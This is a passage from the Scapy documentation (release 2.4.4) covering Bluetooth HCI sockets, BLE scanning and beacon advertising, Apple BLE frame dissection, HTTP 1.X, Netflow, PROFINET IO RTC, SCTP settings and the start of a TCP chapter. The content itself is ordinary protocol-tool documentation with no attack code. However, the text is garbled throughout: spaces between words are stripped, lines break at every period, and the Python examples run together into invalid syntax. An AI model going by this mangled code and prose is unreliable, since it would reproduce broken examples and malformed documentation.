2OpeningaHCIsocketTherststepinScapyistoopenaHCIsockettotheunderlyingBluetoothdevice:>>>#OpenaHCIsockettodevicehci0>>>bt=BluetoothHCISocket(0)10.
2.
3SendacontrolpacketThispacketcontainsnooperation(ie:itdoesnothing),butitwilltestthatyoucancommunicatethroughtheHCIdevice:>>>ans,unans=bt.
sr(HCI_Hdr()/HCI_Command_Hdr())Received1packets,got1answers,remaining0packetsYoucantheninspecttheresponse:>>>#ans[0]=Answeredpacket#0>>>#ans[0][1]=Theresponsepacket>>>p=ans[0][1]>>>p.
show()###[HCIheader]###type=Event###[HCIEventheader]###code=0xflen=4###[CommandStatus]###status=1number=2opcode=0x010.
2.
4ReceivingalleventsTostartcapturingalleventsfromtheHCIdevice,usesniff:>>>pkts=bt.
sniff()(press^Cafterafewsecondstostop.
.
.
)>>>pktsUnlessyourcomputerisdoingsomethingelsewithBluetooth,you'llprobablyget0packetsatthispoint.
Thisisbecausesniffdoesn'tactuallyenableanypromiscuousmodeonthedevice.
However,thisisusefulforsomeothercommandsthatwillbeexplainedlateron.
10.
2.
Firststeps145ScapyDocumentation,Release2.
4.
4.
10.
2.
5ImportingandexportingpacketsJustlikewithotherprotocols,youcansavepacketsforfutureuseinlibpcapformatwithwrpcap:>>>wrpcap("/tmp/bluetooth.
pcap",pkts)Andloadthemupagainwithrdpcap:>>>pkts=rdpcap("/tmp/bluetooth.
pcap")10.
3WorkingwithBluetoothLowEnergyNote:ThisrequiresaBluetooth4.
0orlaterinterfacethatsupportsBLE(BluetoothLowEnergy),eitherasadedicatedLE(LowEnergy)chipsetoradual-modeLE+BR/EDRchipset(suchasanRTL8723BU).
TheseinstructionsonlybeentestedonLinux,andrequireScapyv2.
4.
3orlater.
Therearebugsinearlierversionswhichdecodepacketsincorrectly.
TheseexamplespresumeyouhavealreadyopenedaHCIsocket(asbt).
10.
3.
1DiscoveringnearbydevicesEnablingdiscoverymodeStartactivediscoverymodewith:>>>#type=1:Activescanningmode>>>bt.
sr(.
.
.
HCI_Hdr()/.
.
.
HCI_Command_Hdr()/.
.
.
HCI_Cmd_LE_Set_Scan_Parameters(type=1))Received1packets,got1answers,remaining0packets>>>#filter_dups=False:Showduplicateadvertisingreports,becausethese>>>#sometimescontaindifferentdata!
>>>bt.
sr(.
.
.
HCI_Hdr()/.
.
.
HCI_Command_Hdr()/.
.
.
HCI_Cmd_LE_Set_Scan_Enable(.
.
.
enable=True,.
.
.
filter_dups=False))Received1packets,got1answers,remaining0packetsInthebackground,therearealreadyHCIeventswaitingonthesocket.
Youcangrabtheseeventswithsniff:>>>#Thelfilterwilldropanythingthat'snotanadvertisingreport.
>>>adverts=bt.
sniff(lfilter=lambdap:HCI_LE_Meta_Advertising_Reports→inp)(continuesonnextpage)146Chapter10.
BluetoothScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)(press^Cafterafewsecondstostop.
.
.
)>>>advertsOnceyouhavethepackets,disablediscoverymodewith:>>>bt.
sr(.
.
.
HCI_Hdr()/.
.
.
HCI_Command_Hdr()/.
.
.
HCI_Cmd_LE_Set_Scan_Enable(.
.
.
enable=False))Beginemission:Finishedsending1packets.
.
.
.
*Received4packets,got1answers,remaining0packets(,)CollectingadvertisingreportsYoucansometimesgetmultipleHCI_LE_Meta_Advertising_ReportinasingleHCI_LE_Meta_Advertising_Reports,andthesecanalsobefordifferentdevices!
#Rearrangeintoageneratorthatreturnsreportssequentiallyfromitertoolsimportchainreports=chain.
from_iterable(p[HCI_LE_Meta_Advertising_Reports].
reportsforpinadverts)#GroupreportsbyMACaddress(consumesthereportsgenerator)devices={}forreportinreports:device=devices.
setdefault(report.
addr,[])device.
append(report)#Packetcountersdevices_pkts=dict((k,len(v))fork,vindevices.
items())print(devices_pkts)#{'xx:xx:xx:xx:xx:xx':408,'xx:xx:xx:xx:xx:xx':2}Filteringadvertisingreports#GetonepacketforeachdevicethatbroadcastedshortUUID0xfe50→(Google).
#Androiddevicesbroadcastthisprettymuchconstantly.
google={}formac,reportsindevices.
items():forreportinreports:if(EIR_CompleteList16BitServiceUUIDsinreportand0xfe50inreport[EIR_CompleteList16BitServiceUUIDs].
svc_uuids):google[mac]=reportbreak(continuesonnextpage)10.
3.
WorkingwithBluetoothLowEnergy147ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)#ListMACaddressesthatsentsuchabroadcastprint(google.
keys())#dict_keys(['xx:xx:xx:xx:xx:xx','xx:xx:xx:xx:xx:xx'])Lookattherstbroadcastreceived:>>>formac,reportingoogle.
items():.
.
.
report.
show().
.
.
break.
.
.
###[AdvertisingReport]###type=conn_undatype=randomaddr=xx:xx:xx:xx:xx:xxlen=13\data\|###[EIRHeader]###|len=2|type=flags|###[Flags]###|flags=general_disc_mode|###[EIRHeader]###|len=3|type=complete_list_16_bit_svc_uuids|###[Completelistof16-bitserviceUUIDs]###|svc_uuids=[0xfe50]|###[EIRHeader]###|len=5|type=svc_data_16_bit_uuid|###[EIRServiceData-16-bitUUID]###|svc_uuid=0xfe50|data='AB'rssi=-9610.
3.
2SettingupadvertisingNote:Changingadvertisementsmaynottakeeffectuntiladvertisementshaverstbeenstopped.
AltBeaconAltBeaconisaproximitybeaconprotocoldevelopedbyRadiusNetworks.
ThisexamplesetsupavirtualAltBeacon:#LoadthecontribmoduleforAltBeaconload_contrib('altbeacon')ab=AltBeacon(id1='2f234454-cf6d-4a0f-adf2-f4911ba9ffa6',id2=1,(continuesonnextpage)148Chapter10.
BluetoothScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)id3=2,tx_power=-59,)bt.
sr(ab.
build_set_advertising_data())Onceadvertisinghasbeenstarted,thebeaconmaythenbedetectedwithBeaconLocator(Android).
Note:BeaconLocatorv1.
2.
2incorrectlyreportsthebeaconasbeinganiBeacon,butthevaluesareotherwisecorrect.
EddystoneEddystoneisaproximitybeaconprotocoldevelopedbyGoogle.
ThisusesanEddystone-specicservicedataeld.
ThisexamplesetsupavirtualEddystoneURLbeacon:#LoadthecontribmoduleforEddystoneload_contrib('eddystone')#Eddystone_URL.
from_url()buildsanEddystone_URLframeforagivenURL.
##build_set_advertising_data()wrapsanEddystone_Frameintoa#HCI_Cmd_LE_Set_Advertising_Datapayload,thatcanbesenttotheBLE#controller.
bt.
sr(Eddystone_URL.
from_url('https://scapy.
net').
build_set_advertising_data())Onceadvertisinghasbeenstarted,thebeaconmaythenbedetectedwithEddystoneValidatororBeaconLocator(Android):10.
3.
WorkingwithBluetoothLowEnergy149ScapyDocumentation,Release2.
4.
4.
iBeaconiBeaconisaproximitybeaconprotocoldevelopedbyApple,whichusestheirmanufacturer-specicdataeld.
Apple/iBeaconframing(below)describesthisinmoredetail.
ThisexamplesetsupavirtualiBeacon:#LoadthecontribmoduleforiBeaconload_contrib('ibeacon')#BeacondataconsistsofaUUID,andtwo16-bitintegers:"major"and#"minor".
##iBeaconsitsontopofApple'sBLEprotocol.
p=Apple_BLE_Submessage()/IBeacon_Data(uuid='fb0b57a2-8228-44cd-913a-94a122ba1206',major=1,minor=2)#build_set_advertising_data()wrapsanApple_BLE_Submessageor#Apple_BLE_FrameintoaHCI_Cmd_LE_Set_Advertising_Datapayload,thatcan#besenttotheBLEcontroller.
bt.
sr(p.
build_set_advertising_data())Onceadvertisinghasbeenstarted,thebeaconmaythenbedetectedwithBeaconLocator(Android):150Chapter10.
BluetoothScapyDocumentation,Release2.
4.
4.
10.
3.
3Startingadvertisingbt.
sr(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_LE_Set_Advertise_Enable(enable=True))10.
3.
4Stoppingadvertisingbt.
sr(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_LE_Set_Advertise_Enable(enable=False))10.
3.
5Resourcesandreferences16-bitUUIDsformembers:ListofregisteredUUIDswhichappearinEIR_CompleteList16BitServiceUUIDsandEIR_ServiceData16BitUUID.
16-bitUUIDsforSDOs:ListofregisteredUUIDswhichareusedbyStandardsDevelopmentOrganisations.
CompanyIdentiers:ListofcompanyIDs,whichappearinEIR_Manufacturer_Specific_Data.
company_id.
GenericAccessProle:ListofassignedtypeIDsandlinkstospecicationdenitions,whichappearinEIR_Header.
10.
3.
WorkingwithBluetoothLowEnergy151ScapyDocumentation,Release2.
4.
4.
10.
4Apple/iBeaconbroadcastframesNote:ThisdescribesthewireformatforApple'sBluetoothLowEnergyadvertisements,basedon(limited)publiclyavailableinformation.
ItisnotspecictousingBluetoothonAppleoperatingsystems.
iBeaconisApple'sproximitybeaconprotocol.
Scapyincludesacontribmodule,ibeacon,forworkingwithApple'sBLEbroadcasts:>>>load_contrib('ibeacon')SettingupadvertisingforiBeacon(above)describeshowtobroadcastasimplebeacon.
Whilethismoduleiscalledibeacon,Applehasother"submessages"whicharealsoadvertisedwithintheirmanufacturer-specicdataeld,including:AirDropAirPlayAirPodsHandoffNearbyOverowareaForcompatibilitywiththeseotherbroadcasts,AppleBLEframesinScapyarelayeredontopofApple_BLE_SubmessageandApple_BLE_Frame:HCI_Cmd_LE_Set_Advertising_Data,HCI_LE_Meta_Advertising_Report,BTLE_ADV_IND,BTLE_ADV_NONCONN_INDorBTLE_ADV_SCAN_INDcontainoneormore.
.
.
EIR_Hdr,whichmayhaveapayloadofone.
.
.
EIR_Manufacturer_Specific_Data,whichmayhaveapayloadofone.
.
.
Apple_BLE_Frame,whichcontainsoneormore.
.
.
Apple_BLE_Submessage,whichcontainsapayloadofone.
.
.
Raw(ifnotsupported),orIBeacon_Data.
ThismoduleonlypresentlysupportsIBeacon_Datasubmessages.
OthersubmessagesaredecodedasRaw.
Onemightsometimesseemultiplesubmessagesinasinglebroadcast,suchasHandoffandNearby.
Thisisnotmandatory–therearealsoHandoff-onlyandNearby-onlybroadcasts.
InspectingarawBTLEadvertisementframefromanAppledevice:p=BTLE(hex_bytes(→'d6be898e4024320cfb574d5a02011a1aff4c000c0e009c6b8f40440f1583ec895148b410050318c0b525b→'))p.
show()Resultsintheoutput:152Chapter10.
BluetoothScapyDocumentation,Release2.
4.
4.
###[BT4LE]###access_addr=0x8e89bed6crc=0xb8f7d4###[BTLEadvertisingheader]###RxAdd=publicTxAdd=randomRFU=0PDU_type=ADV_INDunused=0Length=0x24###[BTLEADV_IND]###AdvA=5a:4d:57:fb:0c:32\data\|###[EIRHeader]###|len=2|type=flags|###[Flags]###|flags=general_disc_mode+simul_le_br_edr_ctrl+simul_le_br_→edr_host|###[EIRHeader]###|len=26|type=mfg_specific_data|###[EIRManufacturerSpecificData]###|company_id=0x4c|###[AppleBLEbroadcastframe]###|\plist\||###[AppleBLEsubmessage]###||subtype=handoff||len=14||###[Raw]###||load='\x00\x9ck\x8f@D\x0f\x15\x83\xec\x89QH\xb4'||###[AppleBLEsubmessage]###||subtype=nearby||len=5||###[Raw]###||load='\x03\x18\xc0\xb5%'10.
4.
Apple/iBeaconbroadcastframes153ScapyDocumentation,Release2.
4.
4.
154Chapter10.
BluetoothCHAPTERELEVENHTTPScapysupportsthesending/receivingofHTTPpacketsnatively.
11.
1HTTP1.
XNote:SupportforHTTP1.
Xwasaddedin2.
4.
3,whereasHTTP2.
Xwasalreadyin2.
4.
0.
11.
1.
1AboutHTTP1.
XHTTP1.
Xisatextprotocol.
Thoseareprettyunusualnowadays(HTTP2.
Xisbinary),thereforeitsimplementationisverydifferent.
Fortransmissionpurposes,HTTP1.
Xframesaresplitinvariousfragmentsduringtheconnection,whichmayornothavebeenencoded.
Thisisexplainoverhttps://developer.
mozilla.
org/fr/docs/Web/HTTP/Headers/Transfer-EncodingTosummarize,theframescanbesplitin3differentways:chunks:splitinfragmentscalledchunksthatareprecededbytheirlength.
TheendofaframeismarkedbyanemptychunkusingContent-Length:theheaderoftheHTTPframeannouncesthetotallengthoftheframeNoneoftheabove:theHTTPframeendswhentheTCPstreamends/whenaTCPpushhappens.
Moreover,eachframemaybeaditionnallycompressed,dependingonthealgorithmspeciedintheHTTPheader:compress:compressedusingLZWdeflate:compressedusingZLIBbr:compressedusingBrotligzipLet'shavealookatwhathappenswhenyouperformanHTTPRequestusingScapy'sTCP_client(explainedbelow):155ScapyDocumentation,Release2.
4.
4.
OncetherstSYN/ACKisdone,theconnectionisestablished.
ScapywillsendtheHTTPRequest(),andthehostwillanswerwithHTTPfragments.
ScapywillACKeachofthose,andrecompilethemusingTCPSession,likeWiresharkdoeswhenitdisplaystheanswerframe.
11.
1.
2HTTP1.
XinScapyLet'slistthemodule'scontent:>>>explore(scapy.
layers.
http)Packetscontainedinscapy.
layers.
http:Class|NameHTTP|HTTP1HTTPRequest|HTTPRequestHTTPResponse|HTTPResponseTherearetwoframesavailable:HTTPRequestandHTTPResponse.
TheHTTPisonlyusedduringdissection,asautiltochoosebetweenthetwo.
Allcommonheadereldsshouldbesupported.
DefaultHTTPRequest:>>>HTTPRequest().
show()###[HTTPRequest]###Method='GET'Path='/'Http_Version='HTTP/1.
1'A_IM=NoneAccept=NoneAccept_Charset=NoneAccept_Datetime=NoneAccept_Encoding=None[.
.
.
]DefaultHTTPResponse:156Chapter11.
HTTPScapyDocumentation,Release2.
4.
4.
>>>HTTPResponse().
show()###[HTTPResponse]###Http_Version='HTTP/1.
1'Status_Code='200'Reason_Phrase='OK'Accept_Patch43=NoneAccept_Ranges=None[.
.
.
]11.
1.
3UseScapytosend/receiveHTTP1.
XTohandlethisdecompression,ScapyusesSessionsclasses,morespecicallytheTCPSessionclass.
Youhaveseveralwaysofusingit:sniff(session=TCPSession,TCP_client.
tcplink(HTTP,host,80)Performdecompression/defragmentationonallTCPstreamssimultaneously,butonlyactspassively.
ActsasaTCPclient:handlesSYN/ACK,andallTCPactions,butonlycreatesonestream.
Examples:TCP_client.
tcplink:SendanHTTPRequesttowww.
secdev.
organdwritetheresultinale:load_layer("http")req=HTTP()/HTTPRequest(Accept_Encoding=b'gzip,deflate',Cache_Control=b'no-cache',Connection=b'keep-alive',Host=b'www.
secdev.
org',Pragma=b'no-cache')a=TCP_client.
tcplink(HTTP,"www.
secdev.
org",80)answser=a.
sr1(req)a.
close()withopen("www.
secdev.
org.
html","wb")asfile:file.
write(answser.
load)TCP_client.
tcplinkmakesitfeellikeitonlyreceivedonepacket,butinrealityitwasrecombinedinTCPSession.
Ifyouperformedaplainsniff(),youwouldhaveseenthosepackets.
Thiscodeisimplementedinautilityfunction:http_request(),usableasso:load_layer("http")http_request("www.
google.
com","/",display=True)Thiswillopenthewebpageinyourdefaultbrowserthankstodisplay=True.
sniff():11.
1.
HTTP1.
X157ScapyDocumentation,Release2.
4.
4.
DissectapcapwhichcontainsaJPEGimagethatwassentoverHTTPusingchunks.
Note:Thehttp_chunk.
pcap.
gzleisavailableinscapy/test/pcapsload_layer("http")pkts=sniff(offline="http_chunk.
pcap.
gz",session=TCPSession)#a[29]istheHTTPResponsewithopen("image.
jpg","wb")asfile:file.
write(pkts[29].
load)11.
2HTTP2.
XTheHTTP2documentationisavailableasaJupythernotebookoverhere:HTTP2Tuto158Chapter11.
HTTPCHAPTERTWELVENETFLOWNetowpacketsmainlycomesin3versions:-``NetflowV5``-``NetflowV7``-``NetflowV9/V10(IPfix)``Whilethetworstversionsareprettystraightforward,buildingordissectingNetowv9/v10isn'teasy.
12.
1NetowV1netflow=NetflowHeader()/NetflowHeaderV1()/NetflowRecordV1()pkt=Ether()/IP()/UDP()/netflow12.
2NetowV5netflow=NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst=→"192.
168.
0.
1")pkt=Ether()/IP()/UDP()/netflow12.
3NetowV9/IPxNetowv9andIPxuseatemplatebasedsystem.
Thismeansthatrecordsthataresentoverthewirerequirea"Template"tobesentpreviouslyinaFlowsetpacket.
Thistemplateisrequiredtounderstandthrformatoftherecord,thereforeneedstobeprovidedwhenbuildingordissectingthose.
Fortunately,Scapyknowshowtodetectthetemplatesandwillprovidedissectingmethodsthattakecareofthat.
Note:ThefollowingexamplesapplytoNetowV9.
WhenusingIPx,usetheexactsameformatbutreplacetheclassnameswiththeirV10counterpart(iftheyexist!
Scapysharessomeclassesbetweenthetwo).
HavealookatnetflowBuild159ScapyDocumentation,Release2.
4.
4.
header=Ether()/IP()/UDP()netflow_header=NetflowHeader()/NetflowHeaderV9()#Let'sfirstbuildthetemplate.
ThoseneedanID>255flowset=NetflowFlowsetV9(templates=[NetflowTemplateV9(template_fields=[NetflowTemplateFieldV9(fieldType=1,fieldLength=1),#IN_BYTESNetflowTemplateFieldV9(fieldType=2,fieldLength=4),#IN_PKTSNetflowTemplateFieldV9(fieldType=4),#PROTOCOLNetflowTemplateFieldV9(fieldType=8),#IPV4_SRC_ADDRNetflowTemplateFieldV9(fieldType=12),#IPV4_DST_ADDR],templateID=256,fieldCount=5)],flowSetID=0)#Let'sgeneratetherecordclass.
ThiswillbeaPacketclass#Incaseyouprovidedseveraltemplatesingheflowset,youwillneed#topassthetemplateIDassecondparameterrecordClass=GetNetflowRecordV9(flowset)#NowletsbuildthedatarecordsdataFS=NetflowDataflowsetV9(templateID=256,records=[#Somerandomdata.
recordClass(IN_BYTES=b"\x12",IN_PKTS=b"\0\0\0\0",PROTOCOL=6,IPV4_SRC_ADDR="192.
168.
0.
10",IPV4_DST_ADDR="192.
168.
0.
11"),recordClass(IN_BYTES=b"\x0c",IN_PKTS=b"\1\1\1\1",PROTOCOL=3,IPV4_SRC_ADDR="172.
0.
0.
10",IPV4_DST_ADDR="172.
0.
0.
11")],)pkt=header/netflow_header/flowset/dataFSDissectionScapyprovidestwomethodstoparseNetowV9/IPFix:NetflowSession:tousewithsniff(session=NetflowV9Session,[.
.
.
])netflowv9_defragment():touseonapacketorlistofpackets.
Withthepreviousexample:pkt=Ether(raw(pkt))#willloosethedefragmentationpkt=netflowv9_defragment(pkt)[0]160Chapter12.
NetowCHAPTERTHIRTEENPROFINETIORTCPROFINETIOisanindustrialprotocolcomposedofdifferentlayerssuchastheReal-TimeCyclic(RTC)layer,usedtoexchangedata.
However,thisRTClayerisstatefulanddependsonacongurationsentthroughanotherlayer:theDCE/RPCendpointofPROFINET.
ThiscongurationdeneswhereeachexchangedpieceofdatamustbelocatedintheRTCdatabuffer,aswellasthelengthofthissamebuffer.
Buildingsuchpacketisthenabitmorecomplicatedthanotherprotocols.
13.
1RTCdatapacketTherstthingtodowhenbuildingtheRTCdatabufferistoinstantiateeachScapypacketwhichrepresentsapieceofdata.
Eachoneofthemmayrequiresomespecicpieceofconguration,suchasitslength.
Allpacketsandtheircongurationare:PNIORealTimeRawData:asimplerawdatalikeRaw–length:denesthelengthofthedataProfisafe:thePROFIsafeproletoperformfunctionalsafety–length:denesthelengthofthewholepacket–CRC:denesthelengthoftheCRC,either3or4PNIORealTimeIOxS:eitheranIOConsumerorProviderStatusbyte–Doesn'trequireanycongurationToinstantiateoneofthesepacketswithitsconguration,theconfigargumentmustbegiven.
Itisadict()whichcontainsalltherequiredpieceofconguration:>>>load_contrib('pnio_rtc')>>>raw(PNIORealTimeRawData(load='AAA',config={'length':4}))'AAA\x00'>>>raw(Profisafe(load='AAA',Control_Status=0x20,CRC=0x424242,config={→'length':8,'CRC':3}))'AAA\x00BBB'>>>hexdump(PNIORealTimeIOxS())000080.
161ScapyDocumentation,Release2.
4.
4.
13.
2RTCpacketNowthatadatapacketcanbeinstantiated,awholeRTCpacketmaybebuilt.
PNIORealTimecontainsaelddatawhichisalistofalldatapacketstoaddinthebuffer,however,withouttheconguration,Scapywon'tbeabletodissectit:>>>load_contrib("pnio_rtc")>>>p=PNIORealTime(cycleCounter=1024,data=[.
.
.
PNIORealTimeIOxS(),.
.
.
PNIORealTimeRawData(load='AAA',config={'length':4})/→PNIORealTimeIOxS(),.
.
.
Profisafe(load='AAA',Control_Status=0x20,CRC=0x424242,config={→'length':8,'CRC':3})/PNIORealTimeIOxS(),.
.
.
])>>>p.
show()###[PROFINETReal-Time]###len=NonedataLen=None\data\|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0|extension=0|###[PNIORTCRawdata]###|load='AAA'|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0|extension=0|###[PROFISafe]###|load='AAA'|Control_Status=0x20|CRC=0x424242|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0|extension=0padding=''cycleCounter=1024dataStatus=primary+validData+run+no_problemtransferStatus=0>>>p.
show2()###[PROFINETReal-Time]###len=44dataLen=15\data\|###[PNIORTCRawdata]###|load='\x80AAA\x00\x80AAA\x00BBB\x80'padding=''cycleCounter=1024dataStatus=primary+validData+run+no_problemtransferStatus=0162Chapter13.
PROFINETIORTCScapyDocumentation,Release2.
4.
4.
ForScapytobeabletodissectitcorrectly,onemustalsocongurethelayerforittoknowthelocationofeachdatainthebuffer.
Thiscongurationissavedinthedictionaryconf.
contribs["PNIO_RTC"]whichcanbeupdatedwiththepnio_update_configmethod.
Eachiteminthedictionaryusesthetuple(Ether.
src,Ether.
dst)askey,tobeabletoseparatethecongurationofeachcommunication.
Eachvalueisthenalistofatuplewhichdescribesadatapacket.
Itiscomposedofthenegativeindex,fromtheendofthedatabuffer,ofthepacketposition,theclassofthepacketastheseconditemandtheconfigdictionarytoprovidetotheclassaslast.
Ifwecontinuethepreviousexample,hereisthecongurationtoset:>>>load_contrib("pnio")>>>e=Ether(src='00:01:02:03:04:05',dst='06:07:08:09:0a:0b')/→ProfinetIO()/p>>>e.
show2()###[Ethernet]###dst=06:07:08:09:0a:0bsrc=00:01:02:03:04:05type=0x8892###[ProfinetIO]###frameID=RT_CLASS_1###[PROFINETReal-Time]###len=44dataLen=15\data\|###[PNIORTCRawdata]###|load='\x80AAA\x00\x80AAA\x00BBB\x80'padding=''cycleCounter=1024dataStatus=primary+validData+run+no_problemtransferStatus=0>>>pnio_update_config({('00:01:02:03:04:05','06:07:08:09:0a:0b'):[.
.
.
(-9,Profisafe,{'length':8,'CRC':3}),.
.
.
(-9-5,PNIORealTimeRawData,{'length':4}),.
.
.
]})>>>e.
show2()###[Ethernet]###dst=06:07:08:09:0a:0bsrc=00:01:02:03:04:05type=0x8892###[ProfinetIO]###frameID=RT_CLASS_1###[PROFINETReal-Time]###len=44dataLen=15\data\|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L|###[PNIORTCRawdata]###|load='AAA'|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L(continuesonnextpage)13.
2.
RTCpacket163ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)|###[PROFISafe]###|load='AAA'|Control_Status=0x20|CRC=0x424242L|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0Lpadding=''cycleCounter=1024dataStatus=primary+validData+run+no_problemtransferStatus=0Ifnodatapacketsareconguredforagivenoffset,itdefaultstoaPNIORealTimeIOxS.
However,thismethodisnotveryconvenientfortheusertocongurethelayeranditonlyaffectsthedissectionofpackets.
Insuchcases,onemayhaveaccesstoseveralRTCpackets,sniffedorretrievedfromaPCAPle.
Thus,PNIORealTimeprovidessomemethodstoanalysealistofPNIORealTimepacketsandlocatealldatainit,basedonsimpleheuristics.
Allofthemtakeasrstargumentaniterablewhichcontainsthelistofpacketstoanalyse.
PNIORealTime.
find_data()analysesthedatabufferandseparaterealdatafromIOxS.
Itreturnsadictwhichcanbeprovidedtopnio_update_config.
PNIORealTime.
find_profisafe()analysesthedatabufferandndthePROFIsafepro-lesamongtherealdata.
Itreturnsadictwhichcanbeprovidedtopnio_update_config.
PNIORealTime.
analyse_data()executesbothpreviousmethodsandupdatethecongu-ration.
Thisisusuallythemethodtocall.
PNIORealTime.
draw_entropy()willdrawtheentropyofeachbyteinthedatabuffer.
ItcanbeusedtoeasilyvisualizePROFIsafelocationsasentropyisthebaseofthedecisionalgorithmoffind_profisafe.
>>>load_contrib('pnio_rtc')>>>t=rdpcap('/path/to/trace.
pcap',1024)>>>PNIORealTime.
analyse_data(t){('00:01:02:03:04:05','06:07:08:09:0a:0b'):[(-19,,{'length':1}),(-15,,{'CRC':3,'length':6}),(-7,,{'CRC':3,'length':5})]}>>>t[100].
show()###[Ethernet]###dst=06:07:08:09:0a:0bsrc=00:01:02:03:04:05type=n_802_1Q###[802.
1Q]###prio=6Lid=0Lvlan=0Ltype=0x8892###[ProfinetIO]###frameID=RT_CLASS_1###[PROFINETReal-Time]###len=44dataLen=22(continuesonnextpage)164Chapter13.
PROFINETIORTCScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)\data\|###[PNIORTCRawdata]###|load='\x80\x80\x80\x80\x80\x80\x00\x80\x80\x80\x12:\x0e\→x12\x80\x80\x00\x12\x8b\x97\xe3\x80'padding=''cycleCounter=6208dataStatus=primary+validData+run+no_problemtransferStatus=0>>>t[100].
show2()###[Ethernet]###dst=06:07:08:09:0a:0bsrc=00:01:02:03:04:05type=n_802_1Q###[802.
1Q]###prio=6Lid=0Lvlan=0Ltype=0x8892###[ProfinetIO]###frameID=RT_CLASS_1###[PROFINETReal-Time]###len=44dataLen=22\data\|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L[.
.
.
]|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L|###[PNIORTCRawdata]###|load=''|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L[.
.
.
]|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L|###[PROFISafe]###|load=''|Control_Status=0x12|CRC=0x3a0e12L|###[PNIORTCIOxS]###|dataState=good|instance=subslot(continuesonnextpage)13.
2.
RTCpacket165ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)|reserved=0x0L|extension=0L|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0L|###[PROFISafe]###|load=''|Control_Status=0x12|CRC=0x8b97e3L|###[PNIORTCIOxS]###|dataState=good|instance=subslot|reserved=0x0L|extension=0Lpadding=''cycleCounter=6208dataStatus=primary+validData+run+no_problemtransferStatus=0Inaddition,onecansee,whendisplayingaPNIORealTimepacket,theeldlen.
Thisisacomputedeldwhichisnotaddedinthenalpacketbuild.
Itismainlyusefulfordissectionandreconstruction,butitcanalsobeusedtomodifythebehaviourofthepacket.
Infact,RTCpacketmustalwaysbelongenoughforanEthernetframeandtodoso,apaddingmustbeaddedrightafterthedatabuffer.
Thedefaultbehaviouristoaddpaddingwhosesizeiscomputedduringthebuildprocess:>>>raw(PNIORealTime(cycleCounter=0x4242,data=[PNIORealTimeIOxS()]))'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00BB5\x00'However,onecansetlentomodifythisbehaviour.
lencontrolsthelengthofthewholePNIORealTimepacket.
Then,toshortenthelengthofthepadding,lencanbesettoalowervalue:>>>raw(PNIORealTime(cycleCounter=0x4242,data=[PNIORealTimeIOxS()],→len=50))'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'>>>raw(PNIORealTime(cycleCounter=0x4242,data=[PNIORealTimeIOxS()]))'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00BB5\x00'>>>raw(PNIORealTime(cycleCounter=0x4242,data=[PNIORealTimeIOxS()],→len=30))'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\→x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'166Chapter13.
PROFINETIORTCCHAPTERFOURTEENSCTPSCTPisarelativelyyoungtransport-layerprotocolcombiningbothTCPandUDPcharacteristics.
TheRFC3286introducesitanditsdescriptionlaysintheRFC4960.
Itisnotbroadlyused,itsmainlypresentincorenetworksoperatedbytelecommunicationcompanies,tosupportVoIPforinstance.
14.
1Enablingdynamicaddressingrecongurationandchunkau-thenticationcapabilitiesIfyouaretryingtodiscusswithSCTPservers,youmaybeinterestedincapabilitiesaddedinRFC4895whichdescribehowtoauthenticatedsomeSCTPchunks,and/orRFC5061todynamicallyreconguretheIPaddressofaSCTPassociation.
ThesecapabilitiesarenotalwaysenabledbydefaultonLinux.
Scapydoesnotneedanymodicationonitsend,butSCTPserversmayneedspecicactivation.
ToenabletheRFC4895aboutauthenticatingchunks:$sudoecho1>/proc/sys/net/sctp/auth_enableToenabletheRFC5061aboutdynamicaddressreconguration:$sudoecho1>/proc/sys/net/sctp/addip_enableYoumayalsowanttousethedynamicaddressrecongurationwithoutnecessarilyenablingthechunkauthentication:$sudoecho1>/proc/sys/net/sctp/addip_noauth_enable167ScapyDocumentation,Release2.
4.
4.
168Chapter14.
SCTPCHAPTERFIFTEENTCPScapyisbasedonastimulus/responsemodel.
ThismodeldoesnotworkwellforaTCPstack.
Ontheotherhand,quiteoften,theTCPstreamisusedasatubetoexchangemessagesthatarestimulus/response-based.
Also,ScapyprovidesawaytodescribenetworkautomatathatcanbeusedtocreateaTCPstackau-tomaton.
TherearemanywaystouseTCPwithScapy15.
1Usingthekernel'sTCPstackScapyprovidesaStreamSocketobjectthatcantransformasimplesocketintoaScapysupersocketsuitableforusewithsr()commandfamily.
>>>s=socket.
socket()>>>s.
connect(("www.
test.
